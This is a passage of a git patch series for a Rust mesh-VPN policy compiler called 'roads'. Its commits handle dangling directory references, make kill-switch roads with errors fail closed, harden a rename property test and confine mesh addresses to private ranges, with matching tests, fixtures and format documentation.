PersonId::new(m).filter(|m| dir.people.contains_key(m)) { - Some(m) => { + match PersonId::new(m) { + Some(m) if dir.people.contains_key(&m) => { if !members.insert(m.clone()) { e( format!("groups[{i}].members[{j}]"), @@ -257,10 +269,21 @@ impl Directory { ); } } + Some(m) => dangling.push(Problem::error( + path, + Some(&format!("groups[{i}].members[{j}]")), + r::DIRECTORY_MEMBER_UNKNOWN, + format!( + "`{m}` is not a person in the directory (groups are flat: members are people); left out of the group" + ), + )), None => e( format!("groups[{i}].members[{j}]"), r::DIRECTORY_MEMBER, - format!("`{}` is not a person in the directory", clip(m)), + format!( + "`{}` is not a person id: 1-64 of A-Z a-z 0-9 _ -", + clip(m) + ), ), } } @@ -284,7 +307,7 @@ impl Directory { } } if problems.is_empty() { - Ok(dir) + Ok((dir, dangling)) } else { Err(problems) } @@ -292,10 +315,13 @@ impl Directory { } impl Devices { - pub fn parse(bytes: &[u8], directory: Option<&Directory>) -> Result> { + /// `Err`: a structural error, no device list. `Ok((devices, dangling))`: `dangling` lists the owners + /// dropped because they are not people in `directory`; those devices are ownerless. + pub fn parse(bytes: &[u8], directory: Option<&Directory>) -> Parsed { let path = DEVICES_FILE; let raw: RawDevices = read_json(path, bytes)?; let mut problems = Vec::new(); + let mut dangling = Vec::new(); let mut e = |field: String, code, msg: String| { problems.push(Problem::error(path, Some(&field), code, msg)) }; @@ -345,22 +371,28 @@ impl Devices { } let owner = match &d.owner { None => None, - Some(o) => { - let known = directory.is_none_or(|dir| { - PersonId::new(o).is_some_and(|p| dir.people.contains_key(&p)) - }); - match PersonId::new(o).filter(|_| is_opaque_id(o) && known) { - Some(p) => Some(p), - None => { - e( - f("owner"), - r::DEVICES_OWNER, - format!("`{}` is not a person in the directory", clip(o)), - ); - None - } + Some(o) => match PersonId::new(o).filter(|_| is_opaque_id(o)) { + Some(p) if directory.is_none_or(|dir| dir.people.contains_key(&p)) => Some(p), + Some(p) => { + dangling.push(Problem::error( + path, + Some(&f("owner")), + r::DEVICES_OWNER_UNKNOWN, + format!( + "`{p}` is not a person in the directory; the device is ownerless until it gets an owner, and only `device:` roads reach it" + ), + )); + None } - } + None => { + e( + f("owner"), + r::DEVICES_OWNER, + format!("`{}` is not a person id: 1-64 of A-Z a-z 0-9 _ -", clip(o)), + ); + None + } + }, }; let address = match d.address.parse::() { Ok(a) @@ -506,7 +538,7 @@ impl Devices { } } if problems.is_empty() { - Ok(out) + Ok((out, dangling)) } else { Err(problems) } diff --git a/crates/roads/src/store.rs b/crates/roads/src/store.rs index 66e5ade..55ea4b0 100644 --- a/crates/roads/src/store.rs +++ b/crates/roads/src/store.rs @@ -36,7 +36,10 @@ impl Store { "missing", )), Some(b) => match Directory::parse(b) { - Ok(d) => store.directory = Some(d), + Ok((d, dangling)) => { + store.directory = Some(d); + store.problems.extend(dangling); + } Err(p) => store.problems.extend(p), }, } @@ -48,7 +51,10 @@ impl Store { "missing", )), Some(b) => match Devices::parse(b, store.directory.as_ref()) { - Ok(d) => store.devices = Some(d), + Ok((d, dangling)) => { + store.devices = Some(d); + store.problems.extend(dangling); + } Err(p) => store.problems.extend(p), }, } diff --git a/crates/roads/tests/fixtures/invalid/expect.txt b/crates/roads/tests/fixtures/invalid/expect.txt index 356787f..6ad4ddd 100644 --- a/crates/roads/tests/fixtures/invalid/expect.txt +++ b/crates/roads/tests/fixtures/invalid/expect.txt @@ -52,13 +52,16 @@ directory bad-person-id.directory.json directory.id people[3].id directory duplicate-person.directory.json directory.duplicate people[3].id directory name-newline.directory.json directory.name people[3].name directory name-bidi.directory.json directory.name people[3].name -directory member-unknown.directory.json directory.member groups[0].members[1] -directory member-group.directory.json directory.member groups[0].members[1] +directory member-unknown.directory.json directory.member-unknown groups[0].members[1] +directory member-group.directory.json directory.member-unknown groups[0].members[1] +directory member-bad-id.directory.json directory.member groups[0].members[1] +directory member-twice.directory.json directory.member groups[0].members[1] devices unknown-field.devices.json snapshot.json - devices bad-key.devices.json devices.key devices[0].key devices duplicate-key.devices.json devices.duplicate devices[6].key devices name-newline.devices.json devices.name devices[0].name -devices owner-unknown.devices.json devices.owner devices[6].owner +devices owner-unknown.devices.json devices.owner-unknown devices[6].owner +devices owner-bad-id.devices.json devices.owner devices[6].owner devices address-twice.devices.json devices.address devices[6].address devices address-in-route.devices.json devices.address devices.petr-phone.address devices address-loopback.devices.json devices.address devices[6].address diff --git a/crates/roads/tests/fixtures/invalid/snapshots/member-bad-id.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/member-bad-id.directory.json new file mode 100644 index 0000000..e385459 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/member-bad-id.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "no body"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/member-twice.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/member-twice.directory.json new file mode 100644 index 0000000..f976821 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/member-twice.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "mark"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/owner-bad-id.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/owner-bad-id.devices.json new file mode 100644 index 0000000..b68fd8c --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/owner-bad-id.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "no body", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index c7169bb..08fc4e8 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -119,7 +119,6 @@ fn f03_a_kill_switch_whose_exit_goes_away_fails_closed() { /// a dangling `owner`, which is a snapshot error, which means no plan for anybody. Day 3 then has to choose /// between the household offline and the deleted person keeping their access. #[test] -#[ignore = "QA F-04 (major): one dangling owner means no plans for anybody"] fn f04_deleting_a_person_revokes_them_and_nobody_else() { let parts = Parts::home().edit_directory(|d| d.replace(r#" { "id": "petr", "name": "Petr" },"#, "")); diff --git a/crates/roads/tests/revocation.rs b/crates/roads/tests/revocation.rs index 571018a..b5a7dc3 100644 --- a/crates/roads/tests/revocation.rs +++ b/crates/roads/tests/revocation.rs @@ -182,7 +182,8 @@ fn removing_a_person_from_a_group_removes_the_group_road_only() { #[test] fn a_person_deleted_from_the_directory_leaves_their_roads_reported_and_void() { - // QA R-20: the road naming petr is an error, and the device that petr owned fails the snapshot. + // QA R-20: the road naming petr is an error. The device petr owned is edited to have no owner here; QA + // F-04 (`qa_findings.rs`) covers the upstream-only edit, where the dangling owner leaves it ownerless. let parts = Parts::home() .edit_directory(|d| d.replace(r#" { "id": "petr", "name": "Petr" },"#, "")) .edit_devices(|d| d.replace(r#""owner": "petr", "#, "")); diff --git a/crates/roads/tests/validation.rs b/crates/roads/tests/validation.rs index 07355e8..06c4513 100644 --- a/crates/roads/tests/validation.rs +++ b/crates/roads/tests/validation.rs @@ -46,6 +46,15 @@ fn inactive_code(code: &str) -> bool { .contains(&code) } +/// Snapshot errors that are a dangling reference, not a structural fault: reported, but plans are produced. +fn dangling_code(code: &str) -> bool { + [ + rules::DEVICES_OWNER_UNKNOWN, + rules::DIRECTORY_MEMBER_UNKNOWN, + ] + .contains(&code) +} + /// Runs one case; returns the codes it produced. fn run(case: &Case, baseline: &[u8]) -> BTreeSet { let bytes = std::fs::read( @@ -122,6 +131,13 @@ fn run(case: &Case, baseline: &[u8]) -> BTreeSet { "{}: a road with an error changed a plan", case.file ); + } else if dangling_code(&case.code) { + // QA F-04: a dangling reference drops only itself; everybody else keeps a plan. + assert!( + c.has_plans(), + "{}: one dangling reference stopped every plan", + case.file + ); } else { assert!( c.plans.is_empty(), diff --git a/docs/FORMATS.md b/docs/FORMATS.md index 898ac6c..e06dd19 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -144,10 +144,17 @@ Valid roads that grant nothing right now, reported with their reason (not errors | `people[].name` | 1–100 characters, no leading or trailing space, and none of: control characters (CR, LF, U+0085 included), U+2028, U+2029, zero-width characters U+200B–U+200F and U+2060–U+2069, bidi controls U+202A–U+202E, U+FEFF (`directory.name`) — so a name can never carry a line into an exported config | | `groups[].id` | a group id, unique among groups | | `groups[].name` | as a person's name | -| `groups[].members` | person ids that exist, no repeats (`directory.member`) | +| `groups[].members` | person ids, no repeats (`directory.member`); a well-formed id that is not a person in `people` is left out of the group (`directory.member-unknown`) | Unknown fields, bad JSON and a missing file are `snapshot.json`. +**Structural errors and dangling references (QA F-04).** Any error in either snapshot means no plan at all, +with two exceptions: a group member and a device owner that are well-formed ids but not people in the +directory. That is what deleting a person upstream leaves behind, before anybody edits `devices.json`. Each +is still an error and is reported, but it removes only itself: the member leaves the group, and the device +becomes ownerless, so only `device:` roads reach it. Everybody else keeps their plans. "No plans" is kept for +what makes the snapshot unreadable: bad JSON, a wrong format, a malformed or duplicate id, key or address. + ## `devices.json` — the device list ```json @@ -167,7 +174,7 @@ Unknown fields, bad JSON and a missing file are `snapshot.json`. | `format` | — | `1` | | `key` | — | a device key (`devices.key`), unique (`devices.duplicate`) | | `name` | — | 1–64 characters of `[a-z0-9-]`, unique (`devices.name`) | -| `owner` | none | a person id in the directory (`devices.owner`); a device with no owner is reached only by `device:` roads | +| `owner` | none | a person id (`devices.owner`). One that is not in the directory leaves the device ownerless (`devices.owner-unknown`, reported). A device with no owner is reached only by `device:` roads | | `address` | — | the device's mesh address, one IPv4 or IPv6 address, unique, not inside any device's routes, not loopback, link-local, multicast or IPv4-embedding IPv6 (`devices.address`) | | `classic` | `false` | a classic WireGuard peer, **not post-quantum** | | `exit` | `false` | offers itself as an exit | From 3bd87ebccff8601bab5d360a8a8a47416025bc9a Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:46:30 +0100 Subject: [PATCH 12/25] [roads] QA F-03: a kill-switch road with an error fails closed, through no exit Any check() error used to make a road grant nothing, and for never-online-without nothing meant no kill switch: an exit that stopped being one (or left devices.json) silently turned off every kill switch through it. The road is still reported as an error, but its subject's kill switch stays on through no exit (only the mesh), and going direct to the internet is still dropped. An expired kill switch ends as written. The road_file fuzz target's deny-by-default check now allows exactly that narrowing and nothing else. --- crates/roads/src/compile.rs | 51 ++++++++++++++++++++++++++++--- crates/roads/tests/qa_findings.rs | 41 +++++++++++++++++++++++-- docs/FORMATS.md | 2 +- fuzz/fuzz_targets/road_file.rs | 41 +++++++++++++++++++++++-- 4 files changed, 125 insertions(+), 10 deletions(-) diff --git a/crates/roads/src/compile.rs b/crates/roads/src/compile.rs index de49220..a7f800a 100644 --- a/crates/roads/src/compile.rs +++ b/crates/roads/src/compile.rs @@ -1,7 +1,8 @@ //! The compiler: roads + people directory + device list + `now` → one [`Plan`] per device. //! //! Deny by default. A road with any error grants nothing; a valid road that is expired, or whose subject has no -//! devices, grants nothing and is reported as inactive. Without both snapshots no plan is produced at all. +//! devices, grants nothing and is reported as inactive. Restrictions fail closed instead: a kill-switch road +//! with an error still turns its subject's kill switch on, through no exit (only the mesh), QA F-03. Without both snapshots no plan is produced at all. //! Every collection on the output path is ordered, so the same input gives the same bytes. use crate::id::RoadId; @@ -83,9 +84,17 @@ type RuleKey = (Direction, Net, Dst, Proto, Option<[u16; 2]>); struct Extras { direct: BTreeMap>, kill: BTreeMap>, + /// Kill-switch roads with an error: applied closed, through no exit. + kill_closed: BTreeSet, custom: Vec, } +impl Extras { + fn has_kill_switch(&self) -> bool { + !self.kill.is_empty() || !self.kill_closed.is_empty() + } +} + /// The devices a subject covers: a person's are the devices they own; a group's, its members'; an app's, every /// device. pub fn subject_devices(subject: &Subject, dir: &Directory, devs: &Devices) -> BTreeSet { @@ -318,6 +327,27 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { let problems = check(road, dir, devs, &subject); if !problems.is_empty() { out.problems.extend(problems); + // "Grants nothing" is right for a grant and wrong for a restriction: a kill switch whose exit stops + // being one, or leaves devices.json, must not switch the protection off (QA F-03). It stays on, + // through no exit: only the mesh. An expired kill switch ends as written; one that does not parse + // is not in the store at all (`via check` reports it). + if road.verb == Verb::NeverOnlineWithout { + let exit = match &road.object { + Some(Place::Exit(k)) => Some(k), + _ => None, + }; + let live = road.until.as_ref().is_none_or(|u| u.at() > now); + for d in subject.iter().filter(|d| Some(*d) != exit) { + if live { + touch(d, road); + extras + .entry(d.clone()) + .or_default() + .kill_closed + .insert(road.id.clone()); + } + } + } continue; } let inactive = |field: Option<&str>, code, msg: String| { @@ -511,10 +541,18 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { // traffic outside the tunnel, whatever a goes-direct road says (QA R-47). Going direct to a private subnet // (the local network) stays allowed. for (key, ex) in extras.iter_mut() { - if ex.kill.is_empty() { + if !ex.has_kill_switch() { continue; } - let kill_roads: Vec = ex.kill.values().flatten().map(|r| r.to_string()).collect(); + let kill_roads: Vec = ex + .kill + .values() + .flatten() + .chain(&ex.kill_closed) + .collect::>() + .into_iter() + .map(|r| r.to_string()) + .collect(); let dropped: Vec<(DirectKey, BTreeSet)> = ex .direct .iter() @@ -673,8 +711,10 @@ fn build_plan( } let extras = extras.unwrap_or_default(); - let kill_switch = (!extras.kill.is_empty()).then(|| plan::KillSwitch { - through: if extras.kill.len() == 1 { + let kill_switch = extras.has_kill_switch().then(|| plan::KillSwitch { + // One exit, from valid roads only: through it. Two exits, or any kill-switch road with an error: only + // the mesh. + through: if extras.kill.len() == 1 && extras.kill_closed.is_empty() { extras.kill.keys().next().cloned() } else { None @@ -683,6 +723,7 @@ fn build_plan( .kill .values() .flatten() + .chain(&extras.kill_closed) .cloned() .collect::>() .into_iter() diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index 08fc4e8..8ff7b40 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -93,7 +93,6 @@ fn f02_going_direct_never_overlaps_what_the_tunnel_carries() { /// typo: the exit device stops offering itself as an exit (or leaves devices.json), and every kill switch /// through it silently disappears while the rest of the plan compiles. #[test] -#[ignore = "QA F-03 (major): an invalid kill-switch road fails open"] fn f03_a_kill_switch_whose_exit_goes_away_fails_closed() { let parts = Parts::home().edit_devices(|d| { d.replace( @@ -109,10 +108,48 @@ fn f03_a_kill_switch_whose_exit_goes_away_fails_closed() { .any(|p| p.path.contains("w9c3ke") && p.is_error()), "the kill-switch road is reported" ); + let ks = c.plans[&key(1)].kill_switch.as_ref(); assert!( - c.plans[&key(1)].kill_switch.is_some(), + ks.is_some(), "mark-pc lost its kill switch because its exit stopped being one: it now fails open" ); + assert_eq!( + ks.unwrap().through, + None, + "closed means through no exit: only the mesh" + ); + // Mutation guard: the same road made valid again keeps its exit. + assert_eq!( + Parts::home().compile().plans[&key(1)] + .kill_switch + .as_ref() + .unwrap() + .through, + Some(key(2)) + ); +} + +/// F-03, the other references: an unknown exit, and an exit road that has expired, which ends as written. +#[test] +fn f03_an_unknown_exit_fails_closed_and_an_expired_kill_switch_ends() { + let text = Parts::home().road_text("w9c3ke"); + let unknown = text.replace( + "exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "exit:CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk", + ); + let c = Parts::home().replace_road("w9c3ke", &unknown).compile(); + assert!( + c.problems + .iter() + .any(|p| p.path.contains("w9c3ke") && p.is_error()) + ); + assert_eq!(c.plans[&key(1)].kill_switch.as_ref().unwrap().through, None); + let expired = unknown.replace("created:", "until: 2026-11-01T00:00:00+01:00\ncreated:"); + let c = Parts::home().replace_road("w9c3ke", &expired).compile(); + assert!( + c.plans[&key(1)].kill_switch.is_none(), + "an expired kill switch ends as written" + ); } /// F-04. Deleting a person from the directory (the upstream event, without also editing devices.json) leaves diff --git a/docs/FORMATS.md b/docs/FORMATS.md index e06dd19..ae9add9 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -199,7 +199,7 @@ entry. | `firewall.rules[]` | `direction` (`in`: to this device's address; `forward`: to a subnet it routes, or to the internet as an exit), `src` (CIDR), `dst` (CIDR or `"internet"`), `proto` (`any`, `tcp`, `udp`, `icmp`), `ports` (`[lo, hi]` or `null`), `roads` | | `dns[]` | `host`, `address`, `roads`: names this device may resolve to a mesh address | | `exit` | `{through, roads}` or `null` | -| `kill_switch` | `{through, roads}` (`through` is `null` when two kill-switch roads disagree: only the mesh) or `null` | +| `kill_switch` | `{through, roads}` or `null`. `through` is `null` (only the mesh) when two kill-switch roads disagree, or when a kill-switch road has an error: a restriction fails closed, it is never dropped (QA F-03). `roads` lists the erroneous road too | | `direct[]` | `{app, subnet, roads}`: traffic to `subnet` bypasses the tunnel (split tunnelling); `app` is `null` for all traffic, or the one app whose traffic goes direct | | `custom[]` | `{road, classic, raw}`: the raw block verbatim, **never checked by the compiler** | diff --git a/fuzz/fuzz_targets/road_file.rs b/fuzz/fuzz_targets/road_file.rs index 9ff98f5..40b7743 100644 --- a/fuzz/fuzz_targets/road_file.rs +++ b/fuzz/fuzz_targets/road_file.rs @@ -6,7 +6,9 @@ //! point (`render(parse(render(r))) == render(r)`); //! 3. `compile` never panics (its `expect`/`unreachable!` paths assume the parser's checks); //! 4. deny by default: a file that does not parse, or a road the compiler reports an error for, leaves every -//! plan byte-identical to the home store without it. +//! plan byte-identical to the home store without it. The one exception fails closed (QA F-03): a kill-switch +//! road with an error may turn a kill switch on through no exit, and so drop going direct to the internet, +//! and nothing else. //! //! Run on Linux with nightly: `cargo fuzz run road_file -- -max_total_time=600`. //! @@ -80,6 +82,17 @@ fn baseline() -> &'static Vec { }) } +fn baseline_plans() -> &'static std::collections::BTreeMap { + static B: OnceLock> = OnceLock::new(); + B.get_or_init(|| { + compile( + &Store::from_parts(&files(None), Some(DIRECTORY), Some(DEVICES)), + now(), + ) + .plans + }) +} + /// The id the file claims, so the file name can match it and the fuzzer reaches past `id.file-name`. fn claimed_id(data: &[u8]) -> String { std::str::from_utf8(data) @@ -142,6 +155,30 @@ fuzz_target!(|data: &[u8]| { let collides = HOME.iter().any(|(n, _)| n.starts_with(&format!("{id}-"))); let refused = parsed.is_err() || c.errors().any(|p| p.path == path); if refused && !collides { - assert_eq!(&plans, baseline(), "a refused road changed a plan"); + let kill = parsed + .as_ref() + .is_ok_and(|r| r.verb == roads::Verb::NeverOnlineWithout); + if kill { + let base = baseline_plans(); + for (k, p) in &c.plans { + let b = &base[k]; + let mut p = p.clone(); + let ks = p.kill_switch.take(); + assert!( + ks.as_ref().is_none_or(|ks| ks.through.is_none()) || ks == b.kill_switch, + "a refused kill switch named an exit" + ); + assert!( + p.direct.iter().all(|d| b.direct.contains(d)), + "a refused kill switch added a direct subnet" + ); + p.direct = b.direct.clone(); + p.kill_switch = b.kill_switch.clone(); + p.expires = b.expires.clone(); + assert_eq!(&p, b, "a refused kill-switch road changed more than the kill switch"); + } + } else { + assert_eq!(&plans, baseline(), "a refused road changed a plan"); + } } }); From 31a46d0367db087279bb02351692ebcc47aa3ea6 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:50:23 +0100 Subject: [PATCH 13/25] [roads] rename.rs: a new id never spells a word the output already holds The R-55 property mapped renamed strings back anywhere in the output, so a group renamed to `in` turned every firewall "direction": "in" into the group's old name and failed about once in four runs (seed 8124609985917702487). The renaming now reserves every string the plans and problems hold; the seed is kept as a fixed test, which fails without the reservation. No change to the compiler. --- crates/roads/tests/rename.rs | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/crates/roads/tests/rename.rs b/crates/roads/tests/rename.rs index c6a456d..1025011 100644 --- a/crates/roads/tests/rename.rs +++ b/crates/roads/tests/rename.rs @@ -149,6 +149,31 @@ impl Renaming { for (o, _) in &olds { taken.insert(o.clone()); } + // `back` maps strings anywhere in the output, so a new id must never spell a word the output already + // holds for another reason: a group renamed to `in` turned every firewall `"direction": "in"` into + // the group's old name (seed 8124609985917702487). Reserve every string the plans and problems hold. + fn strings(v: &Value, out: &mut BTreeSet) { + match v { + Value::String(s) => { + out.insert(s.clone()); + } + Value::Array(a) => a.iter().for_each(|x| strings(x, out)), + Value::Object(m) => m.iter().for_each(|(k, x)| { + out.insert(k.clone()); + strings(x, out); + }), + _ => {} + } + } + let c = compile( + &Store::from_parts(&parts.roads, Some(&parts.directory), Some(&parts.devices)), + now(), + ); + strings( + &serde_json::to_value(c.plans.values().collect::>()).unwrap(), + &mut taken, + ); + strings(&serde_json::to_value(&c.problems).unwrap(), &mut taken); let mut to_new = BTreeMap::new(); for (old, kind) in olds { let new = loop { @@ -385,6 +410,13 @@ fn the_extra_roads_reach_the_order_sensitive_paths() { ); } +/// A seed that once renamed the household group to `in`, a word the plans already hold (a firewall +/// direction). The renaming must avoid it, not the comparison. +#[test] +fn a_new_id_never_spells_a_word_of_the_output() { + check_isomorphic(8124609985917702487).unwrap(); +} + #[test] fn the_identity_renaming_changes_nothing() { let parts = base_parts(); From ff783611652cfefdec82801bd0c19dfd3e5cd29a Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:50:23 +0100 Subject: [PATCH 14/25] [roads] QA F-08: a mesh address is never an internet address devices.address refused only special and IPv4-embedding ranges, so a public address was accepted, and an exit's forward-to-internet rule then covered that device's mesh address. Mesh addresses now stay inside the not-internet ranges (100.64.0.0/10, RFC 1918, ULA). Two fixtures, IPv4 and IPv6. --- crates/roads/src/snapshot.rs | 10 ++++++++-- crates/roads/tests/fixtures/invalid/expect.txt | 2 ++ .../snapshots/address-public-v6.devices.json | 17 +++++++++++++++++ .../snapshots/address-public.devices.json | 17 +++++++++++++++++ crates/roads/tests/qa_findings.rs | 1 - docs/FORMATS.md | 2 +- 6 files changed, 45 insertions(+), 4 deletions(-) create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/address-public-v6.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/address-public.devices.json diff --git a/crates/roads/src/snapshot.rs b/crates/roads/src/snapshot.rs index 6df6e9a..0c92056 100644 --- a/crates/roads/src/snapshot.rs +++ b/crates/roads/src/snapshot.rs @@ -395,10 +395,13 @@ impl Devices { }, }; let address = match d.address.parse::() { + // A mesh address is never an internet address, so an exit's `internet` rule can never + // cover another device of the mesh (QA F-08). Ok(a) if a.to_string() == d.address && !Net::host(a).is_special() - && !Net::host(a).embeds_ipv4() => + && !Net::host(a).embeds_ipv4() + && !Net::host(a).reaches_internet() => { if !addresses.insert(a) { e( @@ -413,7 +416,10 @@ impl Devices { e( f("address"), r::DEVICES_ADDRESS, - format!("`{}` is not one IP address", clip(&d.address)), + format!( + "`{}` is not one private IP address (a mesh address is never loopback, link-local, multicast, embedded IPv4 or on the internet; 100.64.0.0/10 or a ULA)", + clip(&d.address) + ), ); None } diff --git a/crates/roads/tests/fixtures/invalid/expect.txt b/crates/roads/tests/fixtures/invalid/expect.txt index 6ad4ddd..f792de9 100644 --- a/crates/roads/tests/fixtures/invalid/expect.txt +++ b/crates/roads/tests/fixtures/invalid/expect.txt @@ -65,6 +65,8 @@ devices owner-bad-id.devices.json devices.owner devices[6].owner devices address-twice.devices.json devices.address devices[6].address devices address-in-route.devices.json devices.address devices.petr-phone.address devices address-loopback.devices.json devices.address devices[6].address +devices address-public.devices.json devices.address devices[6].address +devices address-public-v6.devices.json devices.address devices[6].address devices route-host-bits.devices.json devices.route devices[1].routes[0] devices route-internet.devices.json devices.route devices[1].routes[0] devices route-link-local.devices.json devices.route devices[1].routes[0] diff --git a/crates/roads/tests/fixtures/invalid/snapshots/address-public-v6.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/address-public-v6.devices.json new file mode 100644 index 0000000..d56a238 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/address-public-v6.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "2a00:1450::7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/address-public.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/address-public.devices.json new file mode 100644 index 0000000..5f606db --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/address-public.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "203.0.114.7" } + ] +} diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index 8ff7b40..74fd7de 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -259,7 +259,6 @@ fn f07_a_missing_roads_folder_is_reported() { /// F-08. A device's mesh address may be a public address. The exit's forward rule to `internet` then covers /// another device's mesh address, so "exit through the friend node" also reaches that device through the exit. #[test] -#[ignore = "QA F-08 (minor): mesh addresses are not confined to private ranges"] fn f08_mesh_addresses_are_never_internet_addresses() { let parts = Parts::home() .edit_devices(|d| d.replace(r#""address": "100.96.0.4""#, r#""address": "198.51.100.4""#)); diff --git a/docs/FORMATS.md b/docs/FORMATS.md index ae9add9..7ac1e43 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -175,7 +175,7 @@ what makes the snapshot unreadable: bad JSON, a wrong format, a malformed or dup | `key` | — | a device key (`devices.key`), unique (`devices.duplicate`) | | `name` | — | 1–64 characters of `[a-z0-9-]`, unique (`devices.name`) | 